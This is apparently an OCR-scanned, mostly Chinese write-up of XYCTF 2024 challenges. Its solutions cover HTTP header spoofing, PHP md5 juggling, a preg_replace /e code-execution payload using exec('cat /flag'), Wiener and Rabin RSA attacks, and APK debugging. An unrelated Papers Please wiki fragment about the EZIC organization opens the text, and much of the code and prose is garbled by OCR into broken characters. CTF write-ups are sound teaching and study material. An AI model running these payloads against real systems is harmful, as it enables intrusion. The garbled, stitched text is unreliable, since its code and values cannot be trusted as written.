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Papers Please Wiki

in: Organizations

English ¥

EZlC O O epi

The Order of the EZIC Star, or just EZIC, (sometimes called "the Order”) is a

mysterious organization in Papers, Please.

The inspector has to choose between ignoring EZIC or cooperating with it during
the game. Depending on the degree of cooperation, different endings will occur.
Ignoring the five tasks EZIC gives (see below) will lead to ending 20. Completing
four or more EZIC tasks can lead to ending 19. Falling anywhere in between will
usually get the inspector killed in the end unless he chooses to flee from Arstotzka.

EZIC claims the main cause of the organization is to free Arstotzka from its greedy

and corrupt leaders, " but the political ideology of The Order is not specified.
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Raw | &% | % | Hex Raw | % | Hex | Render
GET fflag.php HTTP# 1 HTTP/ 1 200 OK
Host: localhost: 45011

Server: nginx/1.20.2
User-Agent: Mozilal5 0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0 Date: Mon, 22 Apr 2024 04:52:15 GMT
Accept 't

Cortent-Type: textitml; charset=UTF-8
Accept-Language: zh-CN zh;g=0.8,zh-TWq=0.7 zh-HI; g=0.5 en-US;q=0.3 en;q=0.2 Connection: close

Accept-Encoding: gzip, deflate ¥-Powered-By: PHP/7.3.33
Connection: close Contert-Length: 45

Referer: hitp: Mocalhost: 45011/

Cookie: Pycharm-961 a-63h7-4035-0a3d {"lag""XYCTF{zZI_t31]_yOU_c299c228e1e1}n"}
Sec-Fetch-Dest: empty

Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
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EREFMNEERRT AR, B#inuxERERrdRENE, S¥EEaNEM, IBFE—T
A :

import binascii
import struct
crcbp = open("hint.png", "rb").read() #ENE F 4

crc32frombp = int(crcbp[29:33].hex(),16) #E L Fy R I CRCE B

print(crc32frombp)

for i in range(6000) : #%55 £ 1-4000547 B
for j in range(6000): #E B 1-40005E47 Koz

data = crcbp[12:16] + \
struct.pack('>i", i)+struct.pack('>i"', j)+crcbp[24:29]
crc32 = binascii.crc32(data) & Oxffffffff



# print(crc32)

if(crc32 == crc32frombp):
print(i, j)
print('hex:', hex(i), hex(j))
exit(0)

2811822746
5120 28886
hex: 8x1480 ©xb4e

EFhint, E4aE%1520240401
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Advanced Archive Password Recovery $iHER:
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binwalk3#—T5.png, BEI—MEFEE

binwalk -e 5.png --run-as=root

DECIMAL HEXADECIMAL DESCRIPTION

e: 69, uncompressed size: 54, name: xyact$f

REFEZL, 5ixyctf (BalLUERK, MEEK—m) , 37
FIFFaE ﬂag

| W@Ct‘i&f ﬁ%ﬂE

STEEF) R EN0) BE(Y) #EH)
Ef9flag: XYCTF{981e5 f3ca30 c841487 830184 fh433e}

EZ Base1024*2

Fgithub_EEE T EILARF decodefyfABhttps://github.com/gntm/base2048

exp:

import { encode, decode } from 'base2048'
function uint8ArrayToString(uint8Array) {

(]

let result = 0


af://n111
https://github.com/qntm/base2048

for (let i = 0; i < uint8Array.length; i++) {
result += String.fromCharcCode(uint8Array[i]);
}

return result;

}

function uint8ArrayListToStringArray(uint8ArrayList) {
Tet resultArray = [];
for (let i = 0; i < uint8ArrayList.length; i++) {
resultArray.push(uint8ArrayTostring(uint8ArrayList[i]));
}

return resultArray;

}

const str="ng¢ sy dishdoedWnhyee 103 0€T25"

const uint8Array2 = decode(str)

const stringArray = uint8ArrayListToStringArray([uint8Array2]);
console.log(stringArray);

Web
ezhttp

IR EMFE, =l —EERRNEEHEIL, Erobots.txth/AI

< C ® localhost:31327/robots.txt

User—agent:
Disallow: /10gln. txt

BfTFF/10gIntxt, RITHPEZMZ

< C ® localhost:31327/10g1n.txt

username: XYCTF
password: @JOILha!wuigqil23$

REIZIGEMINERTTE, MAKSES

eagnnl
A& vuanshen.com R B

ZMyuanshen.com3g, EiEKLRefer{E—TEIE]
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S|
TR EAEXYCTERI f 25

FBIAEXYCTRULEEE, EUser-Agent{&BaXYCTF

S !
JEAFHH

JEARMBFAFZELLGE, xfRE—T
g=srananl
xfFFT0E! ||

HIRE T, SREAMSIpRIDNE, SilEAMClient-IPEILA

= Al |
AE M, ymzx.qq.com IR A I

EMNymzx.qq.comfti8, EERFHEMNEBIT Via{tE

Via B EI K E IR RS BsttEE, ETNY Via: 1.0 fred, 1.1 nowhere.com (Apache/1.1)
https://blog.csdn.net/qq_63701832/article/details/12868410070ps request misc=%257B%2522re
quest%255Fid%2522%253A%2522171379682316800197035099%2522%252C%25225cm%2522%2
53A%252220140713.130102334..%2522%257D&request id=171379682316800197035099&biz id
=0&utm_medium=distribute.pc search result.none-task-blog-2~all~top click~default-1-12868410
0-null-null.142 (M¥_EEAIhttpEHRR)

%%EEJ?J |
B =i, BiZsXYCTFR)|MFT

1&XBlcookiefEAXYCTF, 53lflag



https://blog.csdn.net/qq_63701832/article/details/128684100?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522171379682316800197035099%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=171379682316800197035099&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_click~default-1-128684100-null-null.142

%%ﬂﬂ!
=T E R flag!
XYCTF{7053646a-1f85-421b-a182-64402af28054}

BR#Hpayload:

POST /index.php HTTP/1.1

Host: localhost:31327

User-Agent: XYCTF

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;
q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-Tw;g=0.7,zh-HK;g=0.5,en-US;g=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

content-Type: application/x-www-form-urlencoded
Content-Length: 42

origin: http://Tocalhost:31327

Connection: close

Referer: yuanshen.com

Cookie: Pycharm-9613d895=c5b5b56a-63b7-4035-9a3d-9ef3444e34fa
Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: same-origin

Sec-Fetch-User: ?1

Client-IP: 127.0.0.1

Via: ymzx.qq.com

username=XYCTF&password=@J0ILha!wuigqil23$

ezMake

< C | ® localhost:35609/flag

Makefile

Enter Command:

Makefile Content:

Output:

EiEmN/flaghha]..... BHESRAN.

XYCTF{a4312d6b-a1e7-4b3b-8eb1-48e5af5bde73}


af://n60

ezmd>5

B BRI EENFKEEIRB AE R, FKEREAER, BEMIIAmdSERHER, =ik
ER— B fastcol R mASTEEAS M, BIRAZERIZREERipgX i, EXREFRF!
ipgHISLE, FRIEAIEER—TjpgS RISk

JPEG (jpg), X #3k: FFD8FF SHE: FF D9
https://blog.csdn.net/m0 73766321/article/details/131725808?0ps request misc=%257B%2522re
quest%255Fid%2522%253A%2522171379784416800226554344%2522%252C%25225cm%2522%2
53A%252220140713.130102334..%2522%257D&request id=171379784416800226554344&biz id
=0&utm medium=distribute.pc search result.none-task-blog-2~all~sobaiduend~default-1-131725
808-null-null.142 (RE— TN ERAISHLE)

BEEER— M FEABRISUE LR A TIER—T, B HEsnE fastcoll_v1.0.0.5.exefyith75, BDAT
BaERF N mdSHERISE.

{"areEqual":true,"md5Equal":true,"md5_1":"7d79e151e2bd67c2fff6087a6b38f691","md5_2":"7d79e151e2bd67c2fff6087a6b38f691"}XYCTF{d8255d97-7894-4f75-
a9de-17e64b7f6653}

warm up

B —RIEIE IR

<?php

include 'next.php';
highlight_file(__FILE_);
$XYCTF = "warm up";
extract($_GET);

if (isset($_GET['vall']) && isset($_GET['val2']) && $_GET['vall'] II=
$_GET['val2'] & & md5($_GET['vall']) == md5($_GET['val2'])) {

echo "ez" . "<br>";
} else {
die("fatfi, X4 Z i fmd SHAE") ;
}
if (isset($md5) && $md5 == md5($md5)) {
echo "ezez" . "<br>";
} else {
die("fHAatEi, X4 B md SHAK") 5
}
if ($XY == $XYCTF) {
if ($XYy != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")) {
echo $level2;
} else {
die("fHatEa, XA Bl md SHA K"
}
} else {
die("¥ XA MESAE?");
}
Z—>Xpayload:

2val1=QNKCDZO0&val2=240610708&md5=0e215962017&XYCTF=QNKCDZO&XY=QNKCDZO
XERRTTEBRENRE, FIEXYCTAREA— md5>EFFLEeIF/HE, ASBEEXYIREE
FE=FRFER, XEALUBRCRFSXY == $XYCTFAZE, BRTMHHEHRE 7XYARZETFXYCTF_550102591HH


af://n64
https://blog.csdn.net/m0_73766321/article/details/131725808?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522171379784416800226554344%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=171379784416800226554344&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-1-131725808-null-null.142
af://n68

A AHCesRd, EmdSHNER{E/0e937920457786991080577371025051, HAFE X
LLeeevvveeelll222.php,

B IRURRS IR
<?php
highlight_file(__FILE_);
if (isset($_PosT['a']) && !preg_match('/[0-9]/', $_PoST['a']) &&
intval($_posT['a'])) {
echo "#fEfr0.0";
echo preg_replace($_GeT['a'],$_GET['b'],$_GET['c']); // HIASGHA—FEE
10k Tevel
} else {
die (" AFRIRE" ;

ERA— M EST, 4Ra post— 1 EZERNa[]=1

Warning: preg_match() expects parameter 2 to be string, array given in
/var/www/html/LLeeevvveeelll222.php on line 3

EFRO.0

Warning: preg_replace(): Empty regular expression in /var/www/html/LLeeevvveeelll222.php
on line 5

if (isset($_posT['a']) && !preg_match('/[0-9]/', $_POST['a']) &&
intval($_pPosT['a']l))

FREIFHHEIERSI T, BEE R, 2 preg_replace®d, HENSHERE/ e, REE
SPUTENSERIBS, LUAZgetshel HIRER.

— i i e il It R R -

POST v http://localhost:40363/LLeeevvveeelll222.php?a=/test/e&b=exec("cat /flag")&c=test

Params e Authorization Headers (8) Body e Pre-request Script Tests Settings Cookies

Query Params

Key Value Bulk Edit

a [test/e

b exec("cat /flag")

c test

Body Cookies Headers (6) Test Results @ 200 OK 1897 ms 2.4KB Save Response v
Pretty Raw Preview Visualize

echo  fRT1EWW. 0 ; .
echo preg replace($_GET['a’ 1, $_GET['b 1, $_GET['c 1) ; A ARG RN — R B 102K 1evel

b oelse |
die ("F RREE") ;

Warning: preg_match() expects parameter 2 to be string, array given in
/var/www/html/LLeeevvveeelll222.php on line 3
R{E{RO.0XYCTF{98c29bb3-dcab-443a-b013-d2d43cc5e728}

Crypto


af://n138

factor1

AH

import gmpy?2
import hashlib
from Crypto.Util.number import *

p = getPrime(512)
g = getPrime(512)
d = getPrime(512)
e = gmpy2.invert(d, (p**3 - 1) * (gq**3 - 1))

flag = "XYCTF{" + hashlib.md5(str(p + q).encode()).hexdigest() + "}"

print(e)

print(p * q)

#
17200506594532676917615733584943232042560508352494373054680577251511175158075972
67594923497196687752707273237452847853411196851984688839786457937709753660485062
37371435027612758232099414404389043740306443065413069994232238075194102578269859
78498145421894878407159923141555429736121970978750763340421755001328271389928460
92735322237814874197703384166532601092385726392430872806325779028573852650707362
08291583497988891353312351322545840742380550393294960815728021248513046077985900
15881403753448714673048309915139674675177442778763528761173611167907433040771570
01530259528586668413280550714039601653212739729352049889068505854548059234406358
64200149694398767776539993952528995717480620593326867245714074205285828967234591
50803984977784063625537973028110567049611006190921966986017255745077949512534553
32327767672925613782448843620142248443198028105863445164002978302278940637590831
98761120293919537342405893653545157892446163

#
99075185389443078008327214328328747792385153883836599753096971412377366865826254
03353429388603482880421903746624617552634701404581185253199453752030306311398548
60630224449727612765314225386949150301594209894012800120252491291118716498311850
47820236417385693285461420040134313833571949090757635806658958193793

eiXAK, ZHERMMNE, TEEIXEHHeAIphiZ(pA3 - 1) * (93 - 1), FTLAGeFIn 3H{TIE,

152Ud,
E R EREN e, dk—TFp,q, 1BE—TEIF]

exp:

import gmpy?2
import Tibnum
import hashlib
from Crypto.Util.number import *
import random
def transform(x,y):
res=[]
while y:
res.append(x//y)
X, Y=Y, X%y
return res

def continued_fraction(sub_res):
numerator,denominator=1,0
for i in sub_res[::-1]:


af://n139

denominator,numerator=numerator,i*numerator+denominator
return denominator,numerator

def sub_fraction(x,y):
res=transform(x,y)
res=Tist(map(continued_fraction, (res[0:i] for i in range(l,len(res)))))
return res

def get_pq(a,b,c):
par=gmpy2.isqrt(b*b-4*a*c)
x1,x2=(-b+par)//(2*a), (-b-par)//(2*a)
return x1,x2

def wienerAttack(e,n):
for (d,k) in sub_fraction(e,n):
if k==0:
continue
if (e*d-1)%k!=0:
continue

phi=(e*d-1)//k
px,qy=get_pq(1l,n-phi+l,n)
if px*qy==n:
p,q=abs(int(px)),abs(int(qy))
d=gmpy2.invert(e, (p-1)*(g-1))
return d
print ("iZFEAER"™)
def getpq(n,e,d):
while True:
k=e*d-1
g random. randint(0, n)
while k%2==0:
k=k//2
temp=gmpy?2.powmod(g,k,n)-1
if gmpy2.gcd(temp,n)>1 and temp!=0:
return gmpy2.gcd(temp,n)
e€=172005065945326769176157335849432320425605083524943730546805772515111751580759
72675949234971966877527072732374528478534111968519846888397864579377097536604850
62373714350276127582320994144043890437403064430654130699942322380751941025782698
59784981454218948784071599231415554297361219709787507633404217550013282713899284
60927353222378148741977033841665326010923857263924308728063257790285738526507073
62082915834979888913533123513225458407423805503932949608157280212485130460779859
00158814037534487146730483099151396746751774427787635287611736111679074330407715
70015302595285866684132805507140396016532127397293520498890685058545480592344063
58642001496943987677765399939525289957174806205933268672457140742052858289672345
91508039849777840636255379730281105670496110061909219669860172557450779495125345
53323277676729256137824488436201422484431980281058634451640029783022789406375908
3198761120293919537342405893653545157892446163
n=990751853894430780083272143283287477923851538838365997530969714123773668658262
54033534293886034828804219037466246175526347014045811852531994537520303063113985
48606302244497276127653142253869491503015942098940128001202524912911187164983118
5047820236417385693285461420040134313833571949090757635806658958193793
d=wienerAttack(e,n**3)
p=getpq(n,e,d)
g=n//p
flag = "XYCTF{" + hashlib.md5(str(p + q).encode()).hexdigest() + "}"



print(flag)

XYCTF{a83211a70e18145a59671c@8ddc67ba4}

happy_to_solve1

AH

from Crypto.Util.number import *
import sympy
from secrets import flag

def get_happy_prime():
p = getPrime(512)
g = sympy.nextprime(p A ((1 << 512) - 1))
return p, q

m = bytes_to_long(flag)
p, q = get_happy_prime()
n
e

p *q

65537

print(n)

print(pow(m, e, n))

#
24852206647750545040640868093921252282805229864862413863025873203291042799096787
78928846142655571678528828649253019490113004294027910959807195801230317982364515
16377591035587371262714356366577672727039083848025283660908716530241923213987850
17073393201385586868836278447340624427705360349350604325533927890879

#
14767985399473111932544176852718061186100743117407141435994374261886396781040934
63211060821948214046567126995818084988609749165310593936839571659641335256300502
78675465851911032146507908847207296011715176156202021835340219876181468622605586
24458833387692782722514796407503120297235224234298891794056695442287

&pkp, qRYIEURT S SEEY(

pA((1<<512) - NFAEZT2/512-1-p, 2A512-1-pSEBRI F—1EEUBERIESpMoELLR/N, TR
AL, Bffp+q=2/512, XEAn=pq, FILMESATENXFHRATLUEERIP-q

- Bt 2

B p+qfip-qFl MREZEEEEIpRIEIME, M EERKE— TRIRHEIERRIpE

exp:

%

from Crypto.Util.number import
import gmpy2
n=248522066477505450406408680939212522828052298648624138630258732032910427990967
87789288461426555716785288286492530194901130042940279109598071958012303179823645
15163775910355873712627143563665776727270390838480252836609087165302419232139878
5017073393201385586868836278447340624427705360349350604325533927890879
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c=147679853994731119325441768527180611861007431174071414359943742618863967810409
34632110608219482140465671269958180849886097491653105939368395716596413352563005
02786754658519110321465079088472072960117151761562020218353402198761814686226055
8624458833387692782722514796407503120297235224234298891794056695442287
e=65537
tl=1<<512
p=(2**512+gmpy2.iroot((2**512)**2-4*n,2)[0])//2
p=int(p)
while n%p!=0:
p=gmpy2.next_prime(p)
g=n//p
phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
m=pow(c,d,n)
print(long_to_bytes(m))

b*XYCTF{3f22f4efe3bbbc71bbcc999a0a622ala23383cdc}'

Sign1n[ZH]
S|

from Crypto.Util.number import *
from tgdm import *
import gmpy2
flag=b'XYCTF{uuid}"'
flag=bytes_to_long(flag)
leak=bin(int(flag))
while 1:

leak += "0"

if Ten(leak) == 514:

break

def swap_bits(input_str):
input_list = list(input_str[2:])
Tength = Ten(input_Tist)

for i in range(length // 2):
temp = input_list[i]
input_Tist[i] = input_list[length - 1 - 1]
input_Tist[length - 1 - i] = temp

return .join(input_1list)
input_str = leak

result = swap_bits(input_str)
a=result

def custom_add(input_str):
input_list = Tist(input_str)

length = len(input_list)

for i in range(length):
input_Tist[i] = str(GintCinput_Tist[i]) + i + 1) % 10)

result = "'.join(input_Tist)
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return result

input_str = a

result = custom_add(input_str)

b=result

print(b)
#1234567890123456789012345678901234567890123456789012345678901234567890123456789
01234567890123456789012345678901234567890123456789012345678901234567890123456789
01234567891134567799013445689902335567801124457889023356679911344567801223566790
01244578891123566789013445778012235578800123557889123356678902344568890233557880
01334678891223566799023445679912235578800133457889113346779901245577890233557880
01344578890123566780013445689912234577801134557889023346778001245578801233467789
112355779912234577990233556780113

FHFswapbitsgle—MEEHAIERERE, ARREHEEYERZE. XFcustom_add, HELAJLUBS#E
TEERERREI T (08k1) » WFHEHAI N0, HERW AL, WFHEHMER, HE
RHEE, TR0, HERVAEE, MNTFEHHA LR, BERVGHTH,
exp:
from Crypto.Util.number import *
b="'12345678901234567890123456789012345678901234567890123456789012345678901234567
89012345678901234567890123456789012345678901234567890123456789012345678901234567
89012345678911345677990134456899023355678011244578890233566799113445678012235667
90012445788911235667890134457780122355788001235578891233566789023445688902335578
80013346788912235667990234456799122355788001334578891133467799012455778902335578
80013445788901235667800134456899122345778011345578890233467780012455788012334677
89112355779912234577990233556780113"
Y
for i in range(len(b)):
if i%2==0:
if int(b[i])%2==0:
s+="1"
else:
s+="'0"
else:
if int(b[i])%2==0:
s+="'0"
else:
s+="1"
def swap_bits(input_str):
input_list = Tlist(input_str[2:])
length = len(input_list)

for i in range(length // 2):
temp = input_list[i]
input_Tist[i] = input_list[length - 1 - 1]
input_list[length - 1 - i] = temp
return ''.join(input_Tist)
s=swap_bits(s)
print(long_to_bytes(int(s,2)>>167))

b'XYCTF{bf7d6203-aael-4939-b874-901238562af1}"



babyRSAMAX
U

from Crypto.Util.number import *
from gmpy2 import *
from random import choice

'F1 ag = b ! XYCTF{ e } v

e ="'?'

def getBabyPrime(nbits):
while True:

p=1
while p.bit_Tength() <= nbits:
p *= choice(sieve_base)

if isPrime(p+1):
return p+1

p = getBabyPrime(512)
g = getBabyPrime(512)
n = p*q

giftl = (pow(p,e,n)-pow(q,e,n)) % n
gift2 = pow(p+q,e,n)

65537
bytes_to_long(e)
pow(x, t, n)

r—'-
]

bytes_to_Tlong(flag)
powmod(m, e, n)

(@]
Il

print(f'n = {n}")
print(f'giftl = {giftl}")
print(f'gift2 = {gift2}")
print(f'c = {c}")
print(f'y = {y}")

39332423872740210783246069030855946244104982381157166843977599780233911183158560
90137735992543509232665330396426155015865855151862601404878343524547153695984487
40365169315424447195499979714826449055234594077753927022110861492794737847962020
20281909706723380472571862792003687423791576530085747716706475220532321

giftl =
45494024447463383273490072358181877939502851050917261675735524126784167596946601
66956782755631447271662108564084382098562999950228708300902201571583419116299932
26447838119703440233848187293757617219720251977078245834360606054469460885284422
8400457232100904217062914047342663534138668490328400022651816597367310

gift2 =
11106121599895970992073644805086042785501202681537667206760124405358056635959480
26042519929863821878910225832479979941460199704452475091197194113107604919838766
36264003942870756402328634092146799825005835867245563420135253048223898334460067
523975023732153230791136870324302259127159852763634051238811969161011462
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C =
16938927825234407267026017561045490265698491840814929432152839745035946118743714
56662331503380268100901769552637439737034398436099790316584259141420319718494658
84703557289849125220407446919748196301181639762592469415790636878579941933095541
29816268931672391946592680578681270693589911021465752454315629283033043

y:
18136500012709677098413064912977169089694252488885109851093818812703627550313855
64927869313112540534780853966341044526856705589020295048473305762088786992446350
06002488111774104126039140596281718267442171523919721127466845094766639459412176
4333794138308442124114744892164155894256326961605137479286082964520217

gift2H T — I EERAELHEMN T (pow(p,e,n)+pow(q,e,n) % n, gift2-gift1 SnKERLEEIRIAT
BEp, IEFERSAEZEERIeAYE/H4096,

XS Te, phiBEAREE, EILHEAMMERKSAR,
RIEflagskBERE N rabin&i%, #IMYE, ZEH7—T, |

from gmpy2 import gcd, invert, iroot
from Crypto.Util.number import long_to_bytes

n =
39332423872740210783246069030855946244104982381157166843977599780233911183158560
90137735992543509232665330396426155015865855151862601404878343524547153695984487
40365169315424447195499979714826449055234594077753927022110861492794737847962020
20281909706723380472571862792003687423791576530085747716706475220532321
giftl =
45494024447463383273490072358181877939502851050917261675735524126784167596946601
66956782755631447271662108564084382098562999950228708300902201571583419116299932
26447838119703440233848187293757617219720251977078245834360606054469460885284422
8400457232100904217062914047342663534138668490328400022651816597367310
gift2 =
11106121599895970992073644805086042785501202681537667206760124405358056635959480
26042519929863821878910225832479979941460199704452475091197194113107604919838766
36264003942870756402328634092146799825005835867245563420135253048223898334460067
523975023732153230791136870324302259127159852763634051238811969161011462
C =
16938927825234407267026017561045490265698491840814929432152839745035946118743714
56662331503380268100901769552637439737034398436099790316584259141420319718494658
84703557289849125220407446919748196301181639762592469415790636878579941933095541
29816268931672391946592680578681270693589911021465752454315629283033043
y=
18136500012709677098413064912977169089694252488885109851093818812703627550313855
64927869313112540534780853966341044526856705589020295048473305762088786992446350
06002488111774104126039140596281718267442171523919721127466845094766639459412176
4333794138308442124114744892164155894256326961605137479286082964520217

= gcd(gift2 - giftl, n)
a=n//p

hi = (-1 * (q@-1
invert (65537, phi)
pow(y, d, n) # XYCTF{e==4096}
4096
.<a> = zZmod(p) []
aiANe-c
f.monic()

- h ™®W ® X QT
I



resl = f.roots()

R.<b> = zZmod(q)[]

f=bAe-c

f = f.monicQ

res2 = f.roots()

for i in resl:

for j in res2:
m =crt([int(i[0]),int(j[0ID]1, [p,ql)
flag = long_to_bytes(m)
if flag.startswith(b'XYCTF'):
print(flag)

b’ XYCTF {Rabin_is_so biggggg!'}’

Sign1n_Revenge

A HE

from Crypto.Util.number import *
from tgdm import *
import gmpy2
flag=b'xycTF{uuid}'
flag=bytes_to_long(flag)
leak=bin(int(flag))
while 1:

leak += "0"

if Ten(leak) == 514:

break

def swap_bits(input_str):
input_list = Tlist(input_str[2:])
length = len(input_1list)

for i in range(length // 2):
temp = input_list[i]
input_Tist[i] = input_list[length - 1 - 1]
input_Tlist[length - 1 - i] = temp

return ''.join(input_Tist)
input_str = leak

result = swap_bits(input_str)
a=result

def custom_add(input_str):
input_list = list(input_str)

length = len(input_1list)

for i in range(length):
input_Tist[i] = str(GintCGnput_Tist[i]) + i + 1) % 10)

result = "'.join(Cinput_Tist)
return result

input_str = a
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result = custom_add(input_str)

b=result

print(b)
#1234567890123456789012345678901234567890123456789012345678901234567890123456789
01234567890123456789012345678901234567890123456789012345678901234567890123456789
01234567890123456799123455788902334577900124556899023346779902344568990233566780
11334678890223467780012455678012235667900133566889113356679911245568991223456890
01335668890133566789023445779912234577900133566889113356678001344578891223456890
01335668890124566799013445778912234677900133456899112456679911245578991223566890
113455689911234677891224556899023

MEREEE, FARIEPSERAIMAERREL, |
FIRER A RAINCBESIRINE,

from Crypto.Util.number import *
b="'12345678901234567890123456789012345678901234567890123456789012345678901234567
89012345678901234567890123456789012345678901234567890123456789012345678901234567
89012345678901234567991234557889023345779001245568990233467799023445689902335667
80113346788902234677800124556780122356679001335668891133566799112455689912234568
90013356688901335667890234457799122345779001335668891133566780013445788912234568
90013356688901245667990134457789122346779001334568991124566799112455789912235668
90113455689911234677891224556899023"
st
for i in range(len(b)):
if i%2==0:
if int(b[i])%2==0:
s+="1"
else:
s+="'0"
else:
if int(b[i])%2==0:
s+='0"
else:
s+="1"
def swap_bits(input_str):
input_list = Tlist(input_str[2:])
length = len(input_list)

for i in range(length // 2):
temp = input_list[i]
input_Tist[i] = input_list[length - 1 - 1]
input_Tlist[length - 1 - i] = temp
return ''.join(input_Tist)
s=swap_bits(s)
print(long_to_bytes(int(s,2)>>167))

b'flag{7e9a6118-8325-4584-86e5-38bb9cfoff4c}\xe0"

Reverse
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DebugMe
—apkxtt, RERNEEHERIETHS ag
ittjadx, BIEBREEMNES LI, SRS

*DebugMe - jadx-gui

@ x4 WE Su IA =
=& S BEZ Tk Q € > 18 8
DebugMe. apk €, MainActivity
BT
. package com.xyctf.ezapk;
android. support.vd N
androidx import android.os.Bundle;
com 4 import android.os.Debug;
y import android.view.View;
google 6 import android.widget.Button;
xyctf.ezapk 7 import android.widget.Toast;
€ MainActivity import androidx.appcompat.app.AppCompatActivity;
import androidx.constraintlayout.core.motion.utils. Typedvalues;
, onCreate(Bundle) 1
&R /* Loaded from
&, Wihat public class Mai
kotlin /7 JADx INFO: :
. . ide // an gment. app. Frag
kotlinx.coroutines public void onCreaté(8uridle bundle) {
org tring str = =
&R 1 while (true) {
’EK.# switch ((((str.hashCode()  266) ~ 187) ~ 782) * (-650798216))
7APK signature case -1262691520:
[ Summary ((Button) findviewById(R.id.button)).setOnClickListener(new View.OnClickListener(this)
21 final MainActivity thisse;
this.this$e = this;
de // an id.view.Viel
public void onClick(View view)
2 byte[] barr = n
str2 = npll;
tring str3 = o
int i = 0;
int i2 = 0;
while (true) {
switch ((((str3.hashCode() ~ 454) ~ 973) * TypedValues.CycleType.TYPE_WAVE_PERIOD)
case -2009068079
bArr[15] = 80;
A 125 RBE  Smali  Simple Fallback Split view

()

RGRF FEIBEP

RAEfltE:

com. xyc

1865032683)

apk . HATAACEVALY - 1
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@ 2 W= Sm IA =8
=& S B © Q
DebugMe. apk
P ]
android. support.vé
androidx

com
google
xyctf.ezapk
€, MainActivity
 onCreate(Bundle)
&R
€, What
kotlin
kotlinx.coroutines

3 APK signature
[& Summary

BE: 0 1R

H N\ ezapkHE

125 KB Smal  Simple

REIEEA

HARRREEFD

Click me!

c>B0s 8 /F

€, MainActivity

1 package com.xyctf.ezapk;
import android.os.Bundle;
4 import android.os.Debug;
5 import android.view.View;
import android.widget.Button;
import android.widget.Toast;
import androidx.appcompat.app. AppCompatActivity;
jpeaces. id s . tinn il

10 | @ SESADBESE, i localhost5037
LA \o):3- 220 C:\Program Files\adb\adb.exe]

4 ADB IP localhost

ADB &0 5037

B

17 SM_N976@ [serial: emulator-5554] [state: online]

1 2277
12271
1 2256
1 2210
1 2190
- 2175

com.android.keychain
com.android. smspush
android.process.media
com.android. launcher3
com.android.printspooler
android.orace: acore

: 2679 ] com.xyctf.ezapk
: 2651 ] com.android.traceur
: 2626 ] com.android.providers.calendar
: 2502 ] com.android.packageinstaller
: 2568 ] com.android.messaging
: 2543 ] com.android.inputmethod.pinyin
: 2522 ] com.android.managedprovisioning
B : 2434 ] com.android. flysilkworm:filedounloader
N : 2417 ] com.android.contacts
: 2387 ] com.android.flysilkworm:LdPushService
: 233e ] com.android.flysilkworm
]
]
]
]
]
1

APP

EFMADBERS

3

=77
= 59;
= 112;
bArr[15] = 80;

Fallback Split view

BIFHEE 150!

bmponentActivity, android.app.Activity

om class: com.xyctf.ezapk. HGUNACEIVEEY. 1

1865032683) {




@ ¢ W= Sm IR EwE *DebugMe - jadx-gui - =] X
& S B2 Tk Q «-> OS8R/, BIFHES 150!
Debughe. apk €, MainActivity
BB = T
android. support.vé
androidx 9: 7010 3d15 0000 9: invoke-direct {v@}, Landroidx/appcompat/app/AppCompatActivity;-><init>()V # method@153d
0e00 return-void
com
google method
xyctf.ezapk
€ MainActivity pret::t;d pnCreate(Landroid/os/Bundle; )V

7, onCreate(Bundle) voi 2l
&R 8: 1a00 21el const-string ve, "FEAE 4 tringge121
& What g 2: # 6 refs
. c: 6ele 369F 0000 2: invoke-virtual {ve}, Ljava/lang/String;->hashCode()I # method@9f3s
kotlin 2: eael 5: move-result vi
kotlinx.coroutines —
A8 LRE 3gE B  Smali  Simple Fallback Split view
» B > & 3 2
v this Debugger Log  Logeat
var

> 23:49:22 Attached [pid: 2679

REFHAEINAYRE, ARREEIEER— T cickmeRZHHRATLAE R flag

g

o

|+

] com.xyctf.ezapk localhost:33233

-
g-
==
&%
=2
E2
RAEEASEA R 22T ~
XYCTF{d3bugg3r_15_v3ry_u53ful}
o

(RERENAFEN?
TRIEHRR EAM, RIEFREMETCHRINZERN, . . EXHE—NERNRK
exp:

def decrypt_string(expected_output):

encryption_key = ord('/")
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decrypted_string =

for char in expected_output:
decrypted_char = chr(ord(char) A encryption_key)
decrypted_string += decrypted_char
encryption_key = ord(char)

return decrypted_string[::-1]

def mainQ:

1s = [

0x76, OxOE, Ox77, 0x14, 0x60, 0x06, Ox7D, 0x04,

0x6B, Ox1E, Ox41, Ox2A, 0x44, 0x2B, 0x5C, 0x03,

0x3B, 0x0B, 0x33, 0x05,0x15

1

expected_output=

for i in 1ls:
expected_output+=chr(i)

nn

decrypted_input = decrypt_string(expected_output)
print(decrypted_input[::-1])

if _name_ == "_main__":

xyctf{you_know 8686
EIENEASflagh® 7 —itk

FitIDA, stringsBEIE—ERflagflhint

main()

¥ IDA- L - X
File Edit Jump Search View Debugger Lumina Options Windows Help
Sl evov H&N & 3 v @O do@*.*v#w X >0 0ONo debugger v e AP
3 I
Library function [l Regular function [l Instruction Data Unexplored External symbol [l Lumina function
[ Functions 08 x| @  IDA ViewA 5] Strings B @ Hex View1 ® Structures 2] Enums = Imports @ Exports
~

Function name ~ | Address Length  Type St

funco73 d; 00000012 C £
funcg74 00000058 C Lt " and Find out which function refers me to get the last part of the flag!
unc975 rdata:00- 00000006 C  Hint

unc976 rdata:00-+ 0000004C  C 1. Open in IDA and Learn about Strings’ to find the first part of the flag

£unco?77 rdata:00-+ 0000005F  C 2. Learn about Functions to find the second part of the flag which is the name of a function
uncg 78 rdata:00-+ 0000004  C 3. The hint for the last part is in the function you found in the second part

uncd79 rdata:00- 0000000E  C  Unknown error

uncgs0 rdata:00- 000000IF  C  Argument domain error (DOMAIN)

unc9sl rdata:00-+ 00000020  C  Overflow range error (OVERFLOW)

